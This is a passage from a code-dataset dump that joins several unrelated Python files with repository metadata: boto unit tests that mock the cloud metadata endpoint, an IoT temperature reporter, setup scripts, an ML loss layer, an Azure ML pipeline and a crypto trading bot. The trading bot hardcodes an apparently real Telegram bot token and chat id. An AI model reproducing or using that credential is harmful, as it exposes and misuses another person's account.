self.opener_patch.start() def tearDown(self): self.urlopen_patch.stop() self.opener_patch.stop() def set_normal_response(self, response): fake_response = mock.Mock() fake_response.read.return_value = response self.urlopen.return_value = fake_response def set_no_proxy_allowed_response(self, response): fake_response = mock.Mock() fake_response.read.return_value = response self.opener.return_value.open.return_value = fake_response def test_retry_url_uses_proxy(self): self.set_normal_response('normal response') self.set_no_proxy_allowed_response('no proxy response') response = retry_url('http://10.10.10.10/foo', num_retries=1) self.assertEqual(response, 'no proxy response') class TestLazyLoadMetadata(unittest.TestCase): def setUp(self): self.retry_url_patch = mock.patch('boto.utils.retry_url') boto.utils.retry_url = self.retry_url_patch.start() def tearDown(self): self.retry_url_patch.stop() def set_normal_response(self, data): # here "data" should be a list of return values in some order fake_response = mock.Mock() fake_response.side_effect = data boto.utils.retry_url = fake_response def test_meta_data_with_invalid_json_format_happened_once(self): # here "key_data" will be stored in the "self._leaves" # when the class "LazyLoadMetadata" initialized key_data = "test" invalid_data = '{"invalid_json_format" : true,}' valid_data = '{ "%s" : {"valid_json_format": true}}' % key_data url = "/".join(["http://169.254.169.254", key_data]) num_retries = 2 self.set_normal_response([key_data, invalid_data, valid_data]) response = LazyLoadMetadata(url, num_retries) self.assertEqual(response.values()[0], json.loads(valid_data)) def test_meta_data_with_invalid_json_format_happened_twice(self): key_data = "test" invalid_data = '{"invalid_json_format" : true,}' valid_data = '{ "%s" : {"valid_json_format": true}}' % key_data url = "/".join(["http://169.254.169.254", key_data]) num_retries = 2 self.set_normal_response([key_data, invalid_data, invalid_data]) response = LazyLoadMetadata(url, num_retries) with self.assertRaises(ValueError): response.values()[0] def test_user_data(self): self.set_normal_response(['foo']) userdata = get_instance_userdata() self.assertEqual('foo', userdata) boto.utils.retry_url.assert_called_with( 'http://169.254.169.254/latest/user-data', retry_on_404=False) class TestStringToDatetimeParsing(unittest.TestCase): """ Test string to datetime parsing """ def setUp(self): self._saved = locale.setlocale(locale.LC_ALL) locale.setlocale(locale.LC_ALL, 'de_DE.UTF-8') def tearDown(self): locale.setlocale(locale.LC_ALL, self._saved) def test_nonus_locale(self): test_string = 'Thu, 15 May 2014 09:06:03 GMT' # Default strptime shoudl fail with self.assertRaises(ValueError): datetime.datetime.strptime(test_string, boto.utils.RFC1123) # Our parser should succeed result = boto.utils.parse_ts(test_string) self.assertEqual(2014, result.year) self.assertEqual(5, result.month) self.assertEqual(15, result.day) self.assertEqual(9, result.hour) self.assertEqual(6, result.minute) if __name__ == '__main__': unittest.main()

33.307167

81

0.650579

try: import unittest2 as unittest except ImportError: import unittest import datetime import hashlib import hmac import locale import mock import thread import time import boto.utils from boto.utils import Password from boto.utils import pythonize_name from boto.utils import _build_instance_metadata_url from boto.utils import get_instance_userdata from boto.utils import retry_url from boto.utils import LazyLoadMetadata from boto.compat import json @unittest.skip("http://bugs.python.org/issue7980") class TestThreadImport(unittest.TestCase): def test_strptime(self): def f(): for m in xrange(1, 13): for d in xrange(1,29): boto.utils.parse_ts('2013-01-01T00:00:00Z') for _ in xrange(10): thread.start_new_thread(f, ()) time.sleep(3) class TestPassword(unittest.TestCase): def clstest(self, cls): password = cls('foo') self.assertNotEquals(password, 'foo') password.set('foo') hashed = str(password) self.assertEquals(password, 'foo') self.assertEquals(password.str, hashed) password = cls(hashed) self.assertNotEquals(password.str, 'foo') self.assertEquals(password, 'foo') self.assertEquals(password.str, hashed) def test_aaa_version_1_9_default_behavior(self): self.clstest(Password) def test_custom_hashclass(self): class SHA224Password(Password): hashfunc = hashlib.sha224 password = SHA224Password() password.set('foo') self.assertEquals(hashlib.sha224('foo').hexdigest(), str(password)) def test_hmac(self): def hmac_hashfunc(cls, msg): return hmac.new('mysecretkey', msg) class HMACPassword(Password): hashfunc = hmac_hashfunc self.clstest(HMACPassword) password = HMACPassword() password.set('foo') self.assertEquals(str(password), hmac.new('mysecretkey', 'foo').hexdigest()) def test_constructor(self): hmac_hashfunc = lambda msg: hmac.new('mysecretkey', msg) password = Password(hashfunc=hmac_hashfunc) password.set('foo') self.assertEquals(password.str, hmac.new('mysecretkey', 'foo').hexdigest()) class TestPythonizeName(unittest.TestCase): def test_empty_string(self): self.assertEqual(pythonize_name(''), '') def test_all_lower_case(self): self.assertEqual(pythonize_name('lowercase'), 'lowercase') def test_all_upper_case(self): self.assertEqual(pythonize_name('UPPERCASE'), 'uppercase') def test_camel_case(self): self.assertEqual(pythonize_name('OriginallyCamelCased'), 'originally_camel_cased') def test_already_pythonized(self): self.assertEqual(pythonize_name('already_pythonized'), 'already_pythonized') def test_multiple_upper_cased_letters(self): self.assertEqual(pythonize_name('HTTPRequest'), 'http_request') self.assertEqual(pythonize_name('RequestForHTTP'), 'request_for_http') def test_string_with_numbers(self): self.assertEqual(pythonize_name('HTTPStatus200Ok'), 'http_status_200_ok') class TestBuildInstanceMetadataURL(unittest.TestCase): def test_normal(self): self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', 'latest', 'meta-data/' ), 'http://169.254.169.254/latest/meta-data/' ) def test_custom_path(self): self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', 'latest', 'dynamic/' ), 'http://169.254.169.254/latest/dynamic/' ) def test_custom_version(self): self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', '1.0', 'meta-data/' ), 'http://169.254.169.254/1.0/meta-data/' ) def test_custom_url(self): self.assertEqual(_build_instance_metadata_url( 'http://10.0.1.5', 'latest', 'meta-data/' ), 'http://10.0.1.5/latest/meta-data/' ) def test_all_custom(self): self.assertEqual(_build_instance_metadata_url( 'http://10.0.1.5', '2013-03-22', 'user-data' ), 'http://10.0.1.5/2013-03-22/user-data' ) class TestRetryURL(unittest.TestCase): def setUp(self): self.urlopen_patch = mock.patch('urllib2.urlopen') self.opener_patch = mock.patch('urllib2.build_opener') self.urlopen = self.urlopen_patch.start() self.opener = self.opener_patch.start() def tearDown(self): self.urlopen_patch.stop() self.opener_patch.stop() def set_normal_response(self, response): fake_response = mock.Mock() fake_response.read.return_value = response self.urlopen.return_value = fake_response def set_no_proxy_allowed_response(self, response): fake_response = mock.Mock() fake_response.read.return_value = response self.opener.return_value.open.return_value = fake_response def test_retry_url_uses_proxy(self): self.set_normal_response('normal response') self.set_no_proxy_allowed_response('no proxy response') response = retry_url('http://10.10.10.10/foo', num_retries=1) self.assertEqual(response, 'no proxy response') class TestLazyLoadMetadata(unittest.TestCase): def setUp(self): self.retry_url_patch = mock.patch('boto.utils.retry_url') boto.utils.retry_url = self.retry_url_patch.start() def tearDown(self): self.retry_url_patch.stop() def set_normal_response(self, data): fake_response = mock.Mock() fake_response.side_effect = data boto.utils.retry_url = fake_response def test_meta_data_with_invalid_json_format_happened_once(self): key_data = "test" invalid_data = '{"invalid_json_format" : true,}' valid_data = '{ "%s" : {"valid_json_format": true}}' % key_data url = "/".join(["http://169.254.169.254", key_data]) num_retries = 2 self.set_normal_response([key_data, invalid_data, valid_data]) response = LazyLoadMetadata(url, num_retries) self.assertEqual(response.values()[0], json.loads(valid_data)) def test_meta_data_with_invalid_json_format_happened_twice(self): key_data = "test" invalid_data = '{"invalid_json_format" : true,}' valid_data = '{ "%s" : {"valid_json_format": true}}' % key_data url = "/".join(["http://169.254.169.254", key_data]) num_retries = 2 self.set_normal_response([key_data, invalid_data, invalid_data]) response = LazyLoadMetadata(url, num_retries) with self.assertRaises(ValueError): response.values()[0] def test_user_data(self): self.set_normal_response(['foo']) userdata = get_instance_userdata() self.assertEqual('foo', userdata) boto.utils.retry_url.assert_called_with( 'http://169.254.169.254/latest/user-data', retry_on_404=False) class TestStringToDatetimeParsing(unittest.TestCase): def setUp(self): self._saved = locale.setlocale(locale.LC_ALL) locale.setlocale(locale.LC_ALL, 'de_DE.UTF-8') def tearDown(self): locale.setlocale(locale.LC_ALL, self._saved) def test_nonus_locale(self): test_string = 'Thu, 15 May 2014 09:06:03 GMT' with self.assertRaises(ValueError): datetime.datetime.strptime(test_string, boto.utils.RFC1123) result = boto.utils.parse_ts(test_string) self.assertEqual(2014, result.year) self.assertEqual(5, result.month) self.assertEqual(15, result.day) self.assertEqual(9, result.hour) self.assertEqual(6, result.minute) if __name__ == '__main__': unittest.main()

true

f7328f2ec786dc897da0bb3735ef8a755cd94bc3

772

py

Python

Armadillo-IoT_GW/modules/reporters/temperature_reporter.py

naomitodori/Azure-IoT-samples

f98ad55eaab0d3fe52a5ff17a8d312aa69df0cce

[ "MIT" ]

3

2021-08-01T00:31:50.000Z

2021-12-15T23:42:52.000Z

Armadillo-IoT_GW/modules/reporters/temperature_reporter.py

naomitodori/Azure-IoT-samples

f98ad55eaab0d3fe52a5ff17a8d312aa69df0cce

[ "MIT" ]

null

Armadillo-IoT_GW/modules/reporters/temperature_reporter.py

naomitodori/Azure-IoT-samples

f98ad55eaab0d3fe52a5ff17a8d312aa69df0cce

[ "MIT" ]

3

2021-12-07T13:18:44.000Z

2022-01-28T00:41:46.000Z

from modules.lib.reporter import Reporter from modules.lib.report import Report from modules.lib.alarm_machine import AlarmMachine class TemperatureReporter(Reporter): def data_type(self): return 'temperature' def report(self): with open('/sys/class/thermal/thermal_zone0/temp') as file: temp = int(file.read()) / float(1000) report = Report.report_now( 'measurement', type='temperature', key='zone_0', value=temp, unit='c' ) alarm = None if self.alarm_machine() is not None: alarm = self.alarm_machine().judge('temperature', temp, report.reported_at) return report, alarm

29.692308

67

0.576425

from modules.lib.reporter import Reporter from modules.lib.report import Report from modules.lib.alarm_machine import AlarmMachine class TemperatureReporter(Reporter): def data_type(self): return 'temperature' def report(self): with open('/sys/class/thermal/thermal_zone0/temp') as file: temp = int(file.read()) / float(1000) report = Report.report_now( 'measurement', type='temperature', key='zone_0', value=temp, unit='c' ) alarm = None if self.alarm_machine() is not None: alarm = self.alarm_machine().judge('temperature', temp, report.reported_at) return report, alarm

true

f73290c0fd0677b07fe0cd79a344a6e52fbf148d

733

py

Python

setup.py

consideRatio/the-littlest-jupyterhub

9179365a4ff9d5642a12df09b6d0b4271097fed6

[ "BSD-3-Clause" ]

null

setup.py

consideRatio/the-littlest-jupyterhub

9179365a4ff9d5642a12df09b6d0b4271097fed6

[ "BSD-3-Clause" ]

1

2021-04-07T13:16:00.000Z

setup.py

consideRatio/the-littlest-jupyterhub

9179365a4ff9d5642a12df09b6d0b4271097fed6

[ "BSD-3-Clause" ]

null

from setuptools import setup, find_packages setup( name='the-littlest-jupyterhub', version='0.1', description='A small JupyterHub distribution', url='https://github.com/jupyterhub/the-littlest-jupyterhub', author='Jupyter Development Team', author_email='jupyter@googlegroups.com', license='3 Clause BSD', packages=find_packages(), include_package_data=True, install_requires=[ 'ruamel.yaml==0.15.*', 'jinja2', 'pluggy>0.7<1.0', 'passlib', 'backoff', 'requests', 'bcrypt', 'jupyterhub-traefik-proxy==0.2.*', ], entry_points={ 'console_scripts': [ 'tljh-config = tljh.config:main', ] }, )

25.275862

64

0.594816

from setuptools import setup, find_packages setup( name='the-littlest-jupyterhub', version='0.1', description='A small JupyterHub distribution', url='https://github.com/jupyterhub/the-littlest-jupyterhub', author='Jupyter Development Team', author_email='jupyter@googlegroups.com', license='3 Clause BSD', packages=find_packages(), include_package_data=True, install_requires=[ 'ruamel.yaml==0.15.*', 'jinja2', 'pluggy>0.7<1.0', 'passlib', 'backoff', 'requests', 'bcrypt', 'jupyterhub-traefik-proxy==0.2.*', ], entry_points={ 'console_scripts': [ 'tljh-config = tljh.config:main', ] }, )

true

f73290d84c37138805df43d4dc3c217150c2e691

11,133

py

Python

brain.py

hugodemenez/HistoricalMemoryTradingAlgorithm

d51d14632d0ffade27383bb8672c2ece450665a2

[ "MIT" ]

null

brain.py

hugodemenez/HistoricalMemoryTradingAlgorithm

d51d14632d0ffade27383bb8672c2ece450665a2

[ "MIT" ]

null

brain.py

hugodemenez/HistoricalMemoryTradingAlgorithm

d51d14632d0ffade27383bb8672c2ece450665a2

[ "MIT" ]

null

r""" Ce programme sert à ouvrir, gérer et fermer les positions. Enregistre les positions dans la base de données et dans un fichier excel, les affiches dans le terminal puis envoie une notification au groupe telegram """ import time,datetime,os,sys,requests from brokerconnection import realcommands from prediction import Prediction from settings import Settings from database import Database from position import Position from csv_generator import csv_generator #Definition of variables Position=Position() Settings=Settings() Database=Database() def current_second() : return datetime.datetime.now().second def cls(): """ This function clear the terminal in order to get the clear view of the prints.c """ os.system('cls' if os.name=='nt' else 'clear') def open_position(symbol): """ This function send an open order to the broker, with the opening price, and then save the data inside the class Position. """ if Position.backtesting == False: order = realcommands().limit_open(symbol=symbol,backtesting=Position.backtesting) if order['error']==True: return False Position.open_price=float(order['order']['price']) current_price = Settings.broker.price(symbol)['ask'] else: time.sleep(2) current_price = Settings.broker.price(symbol)['ask'] Position.open_price = current_price Position.symbol=symbol Position.current_price =current_price #Setting highest price and lowest price to the opening price Position.highest_price=Position.open_price Position.lowest_price=Position.open_price Position.status='open' Position.number+=1 Position.time=time.time() return True def close_position(): """ This function send a close order to the broker, at market, and then save the data inside an excel spreadsheet. """ Position.status='close' Position.stoploss = False Position.effective_yield = effective_yield_calculation(Position.close_price,Position.open_price,Settings.fee) Position.total_yield = round(Position.total_yield*Position.effective_yield,5) if Position.total_yield > Position.highest_yield: Position.highest_yield = Position.total_yield save_position() return def save_position(): """ This function sends notification and add position information to database. """ try: date = time.time() text='' text+="\nRendement : "+str(round((Position.total_yield-1)*100,2))+' %' program_notification(message=text) #Saving position into database Database.database_request( sql=("""REPLACE INTO positions (paire,opening_date,closing_date,duration,opening_price,closing_price,exit_way,highest_price,lowest_price,position_yield,total_yield) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"""), params=( Position.symbol, datetime.datetime.fromtimestamp(Position.time), datetime.datetime.fromtimestamp(date), str(datetime.timedelta(seconds=round(date,0)-round(Position.time,0))), Position.open_price, Position.close_price, Position.close_mode, Position.highest_price, Position.lowest_price, Position.effective_yield, Position.total_yield, ), commit=True ) return except Exception as error: program_notification(message=error) def program_notification(message): try: token = "1813447727:AAHDPI54DetjXDDNFCMqtN-7phGvwNy9rqY" chat_id = "-431364858" url = f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text={message}" requests.post(url) except Exception as error: print(error) def effective_yield_calculation(current_price,opening_price,fee): R = float(current_price)/float(opening_price) F = float(fee) return (R-(F+(1-F)*R*F)) def check_position(): """ Function to update the current_price, the highest_price and the lowest price Then checks if it has to close the position """ Position.current_price = Settings.broker.price(Position.symbol)['bid'] #Updating highest_price if Position.current_price >Position.highest_price: Position.highest_price=Position.current_price #Updating lowest_price if Position.current_price <Position.lowest_price: Position.lowest_price=Position.current_price #Calculating current effective_yield current_effective_yield = effective_yield_calculation( current_price=Position.current_price, opening_price=Position.open_price, fee=Settings.fee ) #Stop loss #Close position : if current_effective_yield < Settings.risk: if Position.backtesting: Position.close_price = Position.open_price*(Settings.risk) else: order = realcommands().limit_close(Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'stoploss' Position.number_lost+=1 close_position() return #Take profit on expected yield #Closing on takeprofit : Check if the yield is stronger than the minimal yield considering fees and slippage if current_effective_yield > Settings.expected_yield: if Position.backtesting: Position.close_price = Position.current_price else: order = realcommands().limit_close(symbol=Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'takeprofit' close_position() return def find_entry_point(): #Analyse market every second #We use the watchlist defined in settings.py for symbol in Settings.watchlist: time.sleep(1) try: #We analyze the market with the signals defined inside prediction.py predict = Prediction().buy_signal(symbol+'/'+Settings.base_asset) #We clear the console cls() for values in predict: print(values,':',predict[values],'\n') #Give information about the program statistics = { '':'------------------------------ :', 'running_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.start_time,0))), 'current_status':Position.status, 'total_yield':str(round((Position.total_yield-1)*100,2))+' %', 'position_number':Position.number, 'position_lost':Position.number_lost, } for data, value in statistics.items(): print(data, ':', value, '\n') #If we get a buy signal then : if predict['signal'] == 'buy' and open_position( symbol+'/'+Settings.base_asset ): Settings.expected_yield = predict['recovery'] return predict except Exception as error: print('error while predicting : %s' % error) def manage_position(predict): #We clear the console cls() for values in predict: print(values,':',predict[values],'\n') current_effective_yield=effective_yield_calculation(Position.current_price,Position.open_price,Settings.fee) #Give information about the program statistics = { '':'------------------------------ :', 'running_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.start_time,0))), 'current_status':Position.status, 'current_price':Position.current_price, 'open_price':Position.open_price, 'highest_price':Position.highest_price, 'lowest_price':Position.lowest_price, 'position_number':Position.number, 'position_yield':str(round((current_effective_yield-1)*100,2))+' %', 'total_yield':str(round((Position.total_yield*current_effective_yield-1)*100,2))+' %', 'number_lost':Position.number_lost, 'stoploss':Position.stoploss, 'current_position_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.time,0))), } for data, value__ in statistics.items(): print(data, ':', value__, '\n') try: #We check if we have to do something with the current position, update current price highest price and lowest price check_position() except Exception as e: print(e) #We slow down the requests time.sleep(0.2) def main(): '''Brain''' #Check the correct version of python if sys.version_info[0] < 3: raise Exception("Python 3 or a more recent version is required.") #test des commandes et de la connection au broker if realcommands().test_connection(): print("Connected to market") elif input("Unable to connect to market, run in backtesting mode? Y/N : ").upper()=='N': return else: Position.backtesting = True #Generates file with known supports csv_generator() #On change la description du telegram pour les settings parameters = vars(Settings) about = ''.join( '\n' + str(param) + ' : ' + str(value_) for param, value_ in parameters.items() ) program_notification(about) #On initialise le temps de fonctionnement du programme Position.start_time = time.time() print('---Starting Trading---') if Position.backtesting == True: program_notification("Démarrage du programme : "+Settings.program_name + " en mode démo \n"+Settings.commentaire) else: program_notification("Démarrage du programme : "+Settings.program_name + " en mode réél \n"+Settings.commentaire) while True: try: if Position.highest_yield-Position.total_yield > Settings.program_risk: print("Program stopped : check strategy") break if Position.status == 'close': predict = find_entry_point() elif Position.status == 'open': manage_position(predict) except KeyboardInterrupt: cls() if Position.status == 'open': if Position.backtesting: Position.close_price = Position.current_price else: order = realcommands().limit_close(symbol=Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'stopping program' close_position() print("---Ending Trading--") break program_notification("Arrêt du programme : "+Settings.program_name) if __name__=='__main__': main()

34.790625

223

0.633971

import time,datetime,os,sys,requests from brokerconnection import realcommands from prediction import Prediction from settings import Settings from database import Database from position import Position from csv_generator import csv_generator Position=Position() Settings=Settings() Database=Database() def current_second() : return datetime.datetime.now().second def cls(): os.system('cls' if os.name=='nt' else 'clear') def open_position(symbol): if Position.backtesting == False: order = realcommands().limit_open(symbol=symbol,backtesting=Position.backtesting) if order['error']==True: return False Position.open_price=float(order['order']['price']) current_price = Settings.broker.price(symbol)['ask'] else: time.sleep(2) current_price = Settings.broker.price(symbol)['ask'] Position.open_price = current_price Position.symbol=symbol Position.current_price =current_price Position.highest_price=Position.open_price Position.lowest_price=Position.open_price Position.status='open' Position.number+=1 Position.time=time.time() return True def close_position(): Position.status='close' Position.stoploss = False Position.effective_yield = effective_yield_calculation(Position.close_price,Position.open_price,Settings.fee) Position.total_yield = round(Position.total_yield*Position.effective_yield,5) if Position.total_yield > Position.highest_yield: Position.highest_yield = Position.total_yield save_position() return def save_position(): try: date = time.time() text='' text+="\nRendement : "+str(round((Position.total_yield-1)*100,2))+' %' program_notification(message=text) Database.database_request( sql=("""REPLACE INTO positions (paire,opening_date,closing_date,duration,opening_price,closing_price,exit_way,highest_price,lowest_price,position_yield,total_yield) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"""), params=( Position.symbol, datetime.datetime.fromtimestamp(Position.time), datetime.datetime.fromtimestamp(date), str(datetime.timedelta(seconds=round(date,0)-round(Position.time,0))), Position.open_price, Position.close_price, Position.close_mode, Position.highest_price, Position.lowest_price, Position.effective_yield, Position.total_yield, ), commit=True ) return except Exception as error: program_notification(message=error) def program_notification(message): try: token = "1813447727:AAHDPI54DetjXDDNFCMqtN-7phGvwNy9rqY" chat_id = "-431364858" url = f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text={message}" requests.post(url) except Exception as error: print(error) def effective_yield_calculation(current_price,opening_price,fee): R = float(current_price)/float(opening_price) F = float(fee) return (R-(F+(1-F)*R*F)) def check_position(): Position.current_price = Settings.broker.price(Position.symbol)['bid'] if Position.current_price >Position.highest_price: Position.highest_price=Position.current_price if Position.current_price <Position.lowest_price: Position.lowest_price=Position.current_price current_effective_yield = effective_yield_calculation( current_price=Position.current_price, opening_price=Position.open_price, fee=Settings.fee ) if current_effective_yield < Settings.risk: if Position.backtesting: Position.close_price = Position.open_price*(Settings.risk) else: order = realcommands().limit_close(Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'stoploss' Position.number_lost+=1 close_position() return if current_effective_yield > Settings.expected_yield: if Position.backtesting: Position.close_price = Position.current_price else: order = realcommands().limit_close(symbol=Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'takeprofit' close_position() return def find_entry_point(): for symbol in Settings.watchlist: time.sleep(1) try: predict = Prediction().buy_signal(symbol+'/'+Settings.base_asset) cls() for values in predict: print(values,':',predict[values],'\n') statistics = { '':'------------------------------ :', 'running_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.start_time,0))), 'current_status':Position.status, 'total_yield':str(round((Position.total_yield-1)*100,2))+' %', 'position_number':Position.number, 'position_lost':Position.number_lost, } for data, value in statistics.items(): print(data, ':', value, '\n') if predict['signal'] == 'buy' and open_position( symbol+'/'+Settings.base_asset ): Settings.expected_yield = predict['recovery'] return predict except Exception as error: print('error while predicting : %s' % error) def manage_position(predict): cls() for values in predict: print(values,':',predict[values],'\n') current_effective_yield=effective_yield_calculation(Position.current_price,Position.open_price,Settings.fee) statistics = { '':'------------------------------ :', 'running_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.start_time,0))), 'current_status':Position.status, 'current_price':Position.current_price, 'open_price':Position.open_price, 'highest_price':Position.highest_price, 'lowest_price':Position.lowest_price, 'position_number':Position.number, 'position_yield':str(round((current_effective_yield-1)*100,2))+' %', 'total_yield':str(round((Position.total_yield*current_effective_yield-1)*100,2))+' %', 'number_lost':Position.number_lost, 'stoploss':Position.stoploss, 'current_position_time':str(datetime.timedelta(seconds=round(time.time(),0)-round(Position.time,0))), } for data, value__ in statistics.items(): print(data, ':', value__, '\n') try: check_position() except Exception as e: print(e) time.sleep(0.2) def main(): if sys.version_info[0] < 3: raise Exception("Python 3 or a more recent version is required.") if realcommands().test_connection(): print("Connected to market") elif input("Unable to connect to market, run in backtesting mode? Y/N : ").upper()=='N': return else: Position.backtesting = True csv_generator() parameters = vars(Settings) about = ''.join( '\n' + str(param) + ' : ' + str(value_) for param, value_ in parameters.items() ) program_notification(about) Position.start_time = time.time() print('---Starting Trading---') if Position.backtesting == True: program_notification("Démarrage du programme : "+Settings.program_name + " en mode démo \n"+Settings.commentaire) else: program_notification("Démarrage du programme : "+Settings.program_name + " en mode réél \n"+Settings.commentaire) while True: try: if Position.highest_yield-Position.total_yield > Settings.program_risk: print("Program stopped : check strategy") break if Position.status == 'close': predict = find_entry_point() elif Position.status == 'open': manage_position(predict) except KeyboardInterrupt: cls() if Position.status == 'open': if Position.backtesting: Position.close_price = Position.current_price else: order = realcommands().limit_close(symbol=Position.symbol,backtesting=Position.backtesting) Position.close_price = float(order['price']) Position.close_mode = 'stopping program' close_position() print("---Ending Trading--") break program_notification("Arrêt du programme : "+Settings.program_name) if __name__=='__main__': main()

true

f73291c826cb60dbd0831bf1e0263014829f7443

1,399

py

Python

fastreid/layers/cos_softmax.py

tycallen/fast-reid

66683fa95bc7d7222659e8db3ac04e5b8e366190

[ "Apache-2.0" ]

19

2021-09-10T02:16:29.000Z

2022-03-27T12:47:46.000Z

fastreid/layers/cos_softmax.py

tycallen/fast-reid

66683fa95bc7d7222659e8db3ac04e5b8e366190

[ "Apache-2.0" ]

5

2021-09-27T03:52:12.000Z

2021-12-29T09:13:40.000Z

fastreid/layers/cos_softmax.py

tycallen/fast-reid

66683fa95bc7d7222659e8db3ac04e5b8e366190

[ "Apache-2.0" ]

3

2021-12-23T16:44:44.000Z

2022-03-27T12:47:47.000Z

# encoding: utf-8 """ @author: xingyu liao @contact: sherlockliao01@gmail.com """ import torch from torch import nn import torch.nn.functional as F from torch.nn import Parameter class CosSoftmax(nn.Module): r"""Implement of large margin cosine distance: Args: in_feat: size of each input sample num_classes: size of each output sample """ def __init__(self, cfg, in_feat, num_classes): super().__init__() self.in_features = in_feat self._num_classes = num_classes self.s = cfg.MODEL.HEADS.SCALE self.m = cfg.MODEL.HEADS.MARGIN self.weight = Parameter(torch.Tensor(num_classes, in_feat)) nn.init.xavier_uniform_(self.weight) def forward(self, features, targets): # --------------------------- cos(theta) & phi(theta) --------------------------- cosine = F.linear(F.normalize(features), F.normalize(self.weight)) phi = cosine - self.m # --------------------------- convert label to one-hot --------------------------- targets = F.one_hot(targets, num_classes=self._num_classes) output = (targets * phi) + ((1.0 - targets) * cosine) output *= self.s return output def extra_repr(self): return 'in_features={}, num_classes={}, scale={}, margin={}'.format( self.in_feat, self._num_classes, self.s, self.m )

31.795455

90

0.584703

import torch from torch import nn import torch.nn.functional as F from torch.nn import Parameter class CosSoftmax(nn.Module): def __init__(self, cfg, in_feat, num_classes): super().__init__() self.in_features = in_feat self._num_classes = num_classes self.s = cfg.MODEL.HEADS.SCALE self.m = cfg.MODEL.HEADS.MARGIN self.weight = Parameter(torch.Tensor(num_classes, in_feat)) nn.init.xavier_uniform_(self.weight) def forward(self, features, targets): cosine = F.linear(F.normalize(features), F.normalize(self.weight)) phi = cosine - self.m targets = F.one_hot(targets, num_classes=self._num_classes) output = (targets * phi) + ((1.0 - targets) * cosine) output *= self.s return output def extra_repr(self): return 'in_features={}, num_classes={}, scale={}, margin={}'.format( self.in_feat, self._num_classes, self.s, self.m )

true

f732945508b4f5b0ce0dabe10f16e4ac669fd278

92

py

Python

myapp/app.py

cwg83/cgoodale.com-flask

50a18585e8d0e2ae31bfb12ed552e1c5089094c2

[ "CC0-1.0" ]

null

myapp/app.py

cwg83/cgoodale.com-flask

50a18585e8d0e2ae31bfb12ed552e1c5089094c2

[ "CC0-1.0" ]

null

myapp/app.py

cwg83/cgoodale.com-flask

50a18585e8d0e2ae31bfb12ed552e1c5089094c2

[ "CC0-1.0" ]

null

from calblog import app if __name__ == '__main__': app.run(port=34630, debug=True)

10.222222

35

0.673913

from calblog import app if __name__ == '__main__': app.run(port=34630, debug=True)

true

f73294872a3d8143e1add44fe880ba57f1fac308

2,252

py

Python

mlapp/integrations/aml/scripts/publish_multisteps_pipeline.py

nbk905/mlapp

af650a8a302959674dd5a1bc6d15e30e90abf227

[ "Apache-2.0" ]

null

mlapp/integrations/aml/scripts/publish_multisteps_pipeline.py

nbk905/mlapp

af650a8a302959674dd5a1bc6d15e30e90abf227

[ "Apache-2.0" ]

null

mlapp/integrations/aml/scripts/publish_multisteps_pipeline.py

nbk905/mlapp

af650a8a302959674dd5a1bc6d15e30e90abf227

[ "Apache-2.0" ]

null

from azureml.data.data_reference import DataReference from azureml.pipeline.core import PipelineData from mlapp.integrations.aml.utils.compute import get_or_create_compute_target from mlapp.integrations.aml.utils.constants import OUTPUT_PATH_ON_COMPUTE, DATA_REFERENCE_NAME from mlapp.integrations.aml.utils.pipeline import publish_pipeline_endpoint, create_mlapp_pipeline_step from mlapp.integrations.aml.utils.runconfig import create_runconfig import os def run_script(ws, env, datastore, pipeline_name, instructions): pipeline_steps = [] last_output = [] for i in range(len(instructions)): compute_target = get_or_create_compute_target( ws, compute_name=instructions[i]['name'], vm_size=instructions[i].get('vm_size', 'STANDARD_D2_V2'), min_nodes=instructions[i].get('min_nodes', 0), max_nodes=instructions[i].get('max_nodes', 4), idle_sec=instructions[i].get('idle_seconds_before_scale_down', 120) ) run_config = create_runconfig(compute_target, env) # input directory in datastore if len(last_output) == 0: input_dir = None # input_dir = DataReference( # datastore=datastore, # data_reference_name=DATA_REFERENCE_NAME + str(i), # path_on_datastore="flows/", # mode='download' # ) else: input_dir = last_output # output directory in datastore output_dir = PipelineData( name=DATA_REFERENCE_NAME + str(i), datastore=datastore, output_path_on_compute=OUTPUT_PATH_ON_COMPUTE ) # create pipeline step pipeline_step = create_mlapp_pipeline_step( compute_target, run_config, source_directory=os.getcwd(), entry_script=os.path.join("deployment", "aml_flow.py"), input_dir=input_dir, output_dir=output_dir, param_name='config' + str(i) ) # add to pipeline pipeline_steps += pipeline_step # reference last output last_output.append(output_dir) publish_pipeline_endpoint(ws, pipeline_steps, pipeline_name)

35.1875

103

0.654085

from azureml.data.data_reference import DataReference from azureml.pipeline.core import PipelineData from mlapp.integrations.aml.utils.compute import get_or_create_compute_target from mlapp.integrations.aml.utils.constants import OUTPUT_PATH_ON_COMPUTE, DATA_REFERENCE_NAME from mlapp.integrations.aml.utils.pipeline import publish_pipeline_endpoint, create_mlapp_pipeline_step from mlapp.integrations.aml.utils.runconfig import create_runconfig import os def run_script(ws, env, datastore, pipeline_name, instructions): pipeline_steps = [] last_output = [] for i in range(len(instructions)): compute_target = get_or_create_compute_target( ws, compute_name=instructions[i]['name'], vm_size=instructions[i].get('vm_size', 'STANDARD_D2_V2'), min_nodes=instructions[i].get('min_nodes', 0), max_nodes=instructions[i].get('max_nodes', 4), idle_sec=instructions[i].get('idle_seconds_before_scale_down', 120) ) run_config = create_runconfig(compute_target, env) if len(last_output) == 0: input_dir = None else: input_dir = last_output output_dir = PipelineData( name=DATA_REFERENCE_NAME + str(i), datastore=datastore, output_path_on_compute=OUTPUT_PATH_ON_COMPUTE ) pipeline_step = create_mlapp_pipeline_step( 